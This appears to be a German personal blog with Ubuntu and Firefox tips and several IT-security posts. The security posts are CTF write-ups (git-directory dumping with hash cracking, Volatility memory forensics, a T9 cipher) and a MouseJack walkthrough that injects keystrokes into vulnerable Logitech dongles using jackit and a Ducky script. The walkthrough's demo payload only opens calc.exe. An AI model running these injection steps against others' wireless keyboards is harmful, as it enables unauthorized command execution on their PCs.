Ubuntu: Netzwerkschnittstellen umbenennen

2020-04-25 von Mario

Um bei Ubuntu die Netzwerkschnittstellen auf “eth0” oder “wlan0” umzubenennen, müssen folgende Schritte durchgeführt werden:

sudo nano /etc/default/grub

Den Eintrag

GRUB_CMDLINE_LINUX=""

auf den Wert

GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"

ändern und daraufhin den Befehl

grub-mkconfig -o /boot/grub/grub.cfg

ausführen, um die Änderungen im Bootloader zu übernehmen. Nach einem Neustart werden die geänderten Namen der Netzwerkschnittstellen dargestellt.

Kategorie: IT Schlagwörter:

Ubuntu 18.04: Deaktivieren automatisch öffnendes Dateifenster nach Automount

2020-04-24 von Mario

Wenn unter Ubuntu 18.04 Automount aktiv ist, dann wird beim Einbinden eines Datenträgers automatisch ein Dateifenster geöffnet. Mit der folgenden Einstellung kann das Verhalten abgeschaltet werden. Dafür in einem Terminal den Befehl eingeben:

gsettings set org.gnome.desktop.media-handling automount-open false

 

Die dafür notwendige Software “gsettings” kann mit dem Befehl

sudo apt-get install gsettings-desktop-schemas

installiert werden.

Kategorie: IT Schlagwörter:

0x00sec.dev: Exercise 1

2020-04-15 von Mario

Auf der Seite ctf.0x00sec.org werden CTF Spiele veröffentlicht. Für die erste Aufgabe hier ein writeup.

Challenge

Analyse

Da auf der Seite keine hilfreichen Informationen zu finden sind, wird der Quelltext der Seite untersucht.

Der Kommentar gibt einen Hinweis, an welcher Stelle gesucht werden soll.

</body>
  <!-- TODO: -->
  <!-- * Remove the git directory after publishing -->
</html>

Bei einem GIT Repository wird per default ein Ordner mit dem Namen “.git” angelegt. Weiterhin wird automatisch eine Struktur erstellt. Ein Versuch “https://exercise-1.0x00sec.dev/.git/” aufzurufen, ergab folgendes:

Die Anzeige der Fehlermeldung ist gut. Warum? Dadurch ist ersichtlich, dass der Ordner “.git” vorhanden ist.

Als nächstes kann jede einzelne Möglichkeit von weiteren Dateien oder Ordnern probiert werden, welche in der Dokumentation von GIT zu finden ist. Manuell macht das aber keinen Spaß. Das Tool “gitdumper” ist für diese Aufgabe perfekt geeignet.

 

Durchführung

Herunterladen des Tools “gitdumper” und starten.

./gitdumper.sh https://exercise-1.0x00sec.dev/.git/ DEST_FOLDER
Parameter Beschreibung
DEST_FOLDER Der Ordnername gibt an, wo die heruntergeladenen Dateien lokal gespeichert werden sollen.

 

Die Ausgabe von “gitdumper” stellt sich wie folgt dar:

Mit dem Befehl “tree” kann danach eine übersichtliche Darstellung der heruntergeladenen Daten erzeugt werden.

Die einzelnen Commits werden bei GIT gepackt (ZIP), um Speicherplatz zu sparen. Die relevanten Informationen befinden sich im Ordner “objects”. Für das Entpacken habe ich ein kleines Script geschrieben:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import zlib  # A compression / decompression library

ROOT_DIR = "/EDIT_ME_PATH_TO_FOLDER/.git/objects/"

def readFile(path_to_file):

	compressed_content = open(path_to_file, 'rb').read()
	decompressed_content = zlib.decompress(compressed_content)
	print("--- BOF --- ")
	print(decompressed_content)
	print("--- EOF --- ")


def main():
	for root, subdirs, files in os.walk(ROOT_DIR):
		for file in files:
			tmp_file = os.path.join(root, file)
			print(tmp_file)
			readFile(tmp_file)


if __name__ == "__main__":
	main()

Das Script gibt die gepackten Daten aus. Zuvor muss die Variable “ROOT_DIR” auf den Ort der heruntergeladenen Daten entsprechend angepasst werden. Daraufhin das Script ausführen:

./zip_to_text.py

Da die Ausgabe etwas unübersichtlich ist, den Befehl erweitern:

./zip_to_text.py | grep Pass

Das sieht doch sehr gut aus. Hier findet ein Vergleich zwischen Username und Passwort statt, wobei das Passwort als SHA256 HASH abgelegt ist.

 

Den HASH-Wert gilt es zu cracken. Dafür kann eine beliebige Plattform verwendet werden.

Nach einigen Sekunden wurde der Originalwert des HASH (Result) angezeigt. Jetzt sind die Informationen für den Usernamen “admin” und für das Passwort “l33tsupah4x0r” bekannt und der Login kann durchgeführt werden.

 

Nach der Anmeldung wird das Flag “flag{g1t-dump1ng-i5-c00l}” angezeigt und die Aufgabe ist abgeschlossen.

Kategorie: IT-Security Schlagwörter: , , ,

Firefox 75.0 Disable New Address Bar

2020-04-13 von Mario

Mit der Version 75 von Firefox ändert sich die Adressbar dahingehend, dass sobald diese angeklickt wird, ein Zoom erfolgt. Mit den folgenden Einstellungen kann das Feature deaktiviert werden. In die Adresszeile

about:config

eingeben und mit der Entertaste bestätigen. Daraufhin den Sicherheitshinweis ebenfalls bestätigen.

ff_performance

Als nächstes im Suchfeld nach den Einstellungen

browser.urlbar.openViewOnFocus
browser.urlbar.update1
browser.urlbar.update1.interventions
browser.urlbar.update1.searchTips

suchen.

Jetzt alle Werte auf “false” setzen und das Feature ist deaktiviert.

 

Kategorie: IT Schlagwörter: ,

Inject Keystrokes into Logitech Keyboards

2020-04-05 von Mario

In bestimmten Versionen von Logitech Dongles gibt es eine Schwachstelle, welche es ermöglicht, Befehle an den angeschlossenen PC zu senden.

 

Hardware und Software

Für die Umsetzung wurde folgende Hardware verwendet:

  • Crazyradio PA USB radio dongle based on Nordic Semiconductor’s nRF24LU1+
  • Logitech USB Dongle (C-U0007 – FW ver 012.005.00028)
  • Ubuntu 18.04.3 LTS

 

Firmware Version auslesen

Mit den Befehl “fwupdmgr” kann die Versionsnummer des Logitech USB-Dongles ausgelesen werden.

fwupdmgr get-devices

In der darauf angezeigten Ausgabe kann die Firmware Version des Dongles ermittelt werden. Eine Liste, welche Geräte bzw. welche Firmware betroffen sind, gibt es hier: www.bastille.net

 

Firmware auf dem Crazyradio flashen

Als Voraussetzung für die Durchführung des Angriffs muss die Firmware auf den Crazyradio, nicht auf dem Logitech Dongle, geflasht werden. Um die Firmware zu erstellen, werden einige  Bibliotheken benötigt.

apt-get install sdcc binutils python python-pip git
pip install pyusb
pip install --upgrade pip
pip install --upgrade -I pyusb
pip install --upgrade platformio

Danach die Software “Mousejack” herunterladen.

git clone https://github.com/BastilleResearch/mousejack
git submodule init
git submodule update

Als letzter Schritt wird die Firmware erstellt und auf dem Crazyradio übertragen.

/nrf-research-firmware$ make
make install

Um zu verifizieren, ob die Firmware erfolgreich auf das Crazyradio geflasht wurde, diesen aus dem USB-Port ziehen und danach wieder anstecken. Als nächstes den Befehl “dmesg” ausführen und nach dem Text “RFStorm” suchen.

dmesg

Wird dieser angezeigt, ist der Schritt erfolgreich abgeschlossen.

 

Jackit installieren

Jackit wird für den eigentlichen Angriff benötigt. Mit der Software wird mit dem Crazyradio kommuniziert.

git clone https://github.com/insecurityofthings/jackit.git
cd jackit/
pip install -r requirements.txt
./setup.py build
./setup.py install

 

Attack

Zur Vorbereitung für den Angriff wird ein “Ducky” Script erstellt. Die hier enthaltenen Befehle werden auf dem Ziel-PC ausgeführt. Dafür die nachfolgende Auflistung in einer Textdatei “script.txt” speichern.

GUI r
DELAY 200
STRING calc.exe
ENTER

Mit dem Befehl “jackit” (als Root starten) kann jetzt nach potenziell verwundbaren Geräten gesucht werden.

Sobald ein Dongle gefunden wurde, die jeweilige Adresse “C7:D4:21:98:07” kopieren und das Programm mit “STRG + C” beenden. Jetzt “jackit” erneut mit einigen Parametern starten.

jackit --address C7:D4:21:98:07 --vendor logitech --script /path/to/ducky/script.txt

Nachdem der Dongle wieder erkannt wurde, mit “STRG + C” abbrechen, um in ein Untermenü von “jackit” zu gelangen. Jetzt mit der jeweiligen Nummer das Ziel (Spalte KEY) auswählen. Wenn alles funktioniert hat, dann hat sich auf dem Ziel-PC ein Taschenrechner geöffnet.

 

Links

Kategorie: IT-Security Schlagwörter: ,

Newbie CTF 2019: Top Secret

2020-03-21 von Mario

Challenge

He stole the virtual machine file containing the top secret of the enemy country.

However, due to the shortage of USB memory, I dumped only the memory that seemed to be the most important.

What is the secret of an enemy country? (Fake Flag file exists.)

 

Download: NewbieCTF2019_Top_Secret.zip (1,2GB)

Analyse

  • Entpacken der ZIP Datei (Nach dem Entpacken ist die Datei 4 GB groß)
  • Die entpackte Datei besitzt die Dateierweiterung “vmem”. Dieser Typ wird von Virtualisierungssoftware wie VMware, Virtualbox usw. verwendet. Dabei handelt es sich um ein Speicherabbild des RAM oder eines physischen Speichers einer virtuellen Maschine.
  • Für eine Analyse eines Speicherabbildes kann die Software Volatility Tool verwendet werden.
  • Eine Online-Referenz der Befehle steht ebenfalls bereit.
  • Das gesuchte Flag besitzt folgendes Format: “KorNewbie{???}”

1. Download Volatility Tool

$git clone https://github.com/volatilityfoundation/volatility

2. Installation

$cd volatility
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/bin/volatility) zur Verfügung.

Durchführung

Mit dem Befehl und zwei Parametern können grundsätzliche Informationen angezeigt werden.

volatility -f w7.vmem imageinfo
Parameter Beschreibung
-f Nach dem Parameter ist der Dateiname anzugeben (filename).
imageinfo Zeigt die Zusammenfassung des zu analysierenden Speicherabbildes an.

 

Mit den Informationen wird ersichtlich, dass es sich um ein Windows 7 Speicherabbild handelt. Als nächstes wird untersucht, welche Prozesse zum Zeitpunkt der Erstellung des Speicherabbildes gelaufen sind.

volatility -f w7.vmem --profile=Win7SP0x86 pslist

 

Parameter Beschreibung
–profile Gibt an, um welchen Typ von Speicherabbild es sich handelt. Der Wert kann der vorherigen Ausgabe (Suggested Profile(s)) entnommen werden.
pslist Zeigt eine Liste aller Prozesse an.

 

 

Jedem der Prozesse ist Speicher zugewiesen, welcher sich in diesem Abbild befindet. Jedoch ist die Frage, welcher Prozess beinhaltet das gesuchte Lösungswort (Flag)? Interessante Prozesse sind:

  • chrome.exe
  • mspaint.exe
  • SnippingTool.e
  • wordpad.exe
  • notpad.exe
  • cmd.exe

 

Jetzt gilt es, einem nach dem anderen zu analysieren…

Mit dem folgendem Befehl kann ein Speicherauszug (Teilmenge) aus dem Abbild erstellt werden, der genau einem Prozess entspricht:

volatility -f w7.vmem --profile=Win7SP0x86 memdump -p 3224 --dump-dir=tmp

Der Prozess “notpad.exe” besitzt die Nummer (PID) “3224”. In dem zuvor angelegten Ordner “tmp” wird eine Datei geschrieben, welche nur den Speicherinhalt des Prozesses “notpad.exe” beinhaltet.

 

Parameter Beschreibung
memdump Extrahieren des Speichers eines Prozesses in eine einzelne Datei.
-p Gibt die Prozessnummer an.
–dump-dir Angabe, in welchem Ordner der Speicherauszug abgelegt werden soll.

 

Die erstellte Datei “3224.dmp” befindet sich im Ordner “tmp”. Abschließend kommt das Tool “strings” zum Einsatz.

strings 3224.dmp | grep "KorNewbie"

Es werden alle Textinhalte der Datei “3224.dmp” ausgegeben und an den Befehl “grep” übergeben. Der Befehl “grep” sucht nach dem Text “KorNewbie”.

Bingo! Das wars! :)

Alternative

Der gesamte Prozess kann abgekürzt werden, indem mit “strings” direkt über das gesamte Speicherabbild gesucht wird. Funktioniert in dem Fall aber nur, weil das Flag in Textform vorliegt.

strings w7.vmem | grep -oE "KorNewbie{.*}
Kategorie: IT-Security Schlagwörter: ,

Hack-IT: Not K9 But ?

2020-02-13 von Mario

Auf der Seite “canyouhack.it” (leider down) in der Rubrik “Cryptography” gab es eine spannende Challenge.

Challenge

Not K9 But ?

8430727796730470662453

 

Analyse

Die Frage “Not K9 But ?” erinnert irgendwie sehr stark an T9.

Die Zahlen von 0 bis 9 sprechen ebenfalls dafür.

 

Information gathering

  • Auf Wikipedia ist die Tastenbelegung für die Zahlen 0 bis 9 zu finden.

  • Die Seite “canyouhack.it” war nur auf Englisch verfügbar. Die Wahrscheinlichkeit ist groß, dass die Lösung in englischer Sprache vorliegt.
  • Für die Zahl “0” gibt es keine Buchstaben, vermutlich beginnt bei jeder “0” ein neues Wort.

 

Durchführung

Erstellung eines Mappings der Ziffern zu den jeweiligen Buchstabenkombinationen.

Zahl T9 Letters
843 TUV | GHI | DEF
72779673 PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF
47 GHI | PQRS
662453 MNO | ABC | GHI | JKL | DEF

 

Als nächstes heißt es, probieren… Bei 843 ist das Wort recht schnell zu finden “THE”.

Zahl T9 Letters
843 TUV | GHI | DEF
72779673 PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF
47 GHI | PQRS
662453 MNO | MNO | ABC | GHI | JKL | DEF

 

Nach einigem Probieren ist das Lösungswort “mobile” gefunden.

 

Anmerkung

Falls das Probieren etwas zu “mühevoll” ist, kann der Vorgang auch durch ein Programm gelöst werden. Es werden alle Buchstabenkombinationen je Wort erstellt und gegen ein Wörterbuch abgeglichen. Daraufhin werden nur die Wörter angezeigt, die im Wörterbuch vorhanden sind. Falls es mehrere Möglichkeiten geben sollte, kann man wählen.

Genau so ein Programm wurde auch schon implementiert: t9-emulator.

 

Kategorie: IT-Security Schlagwörter: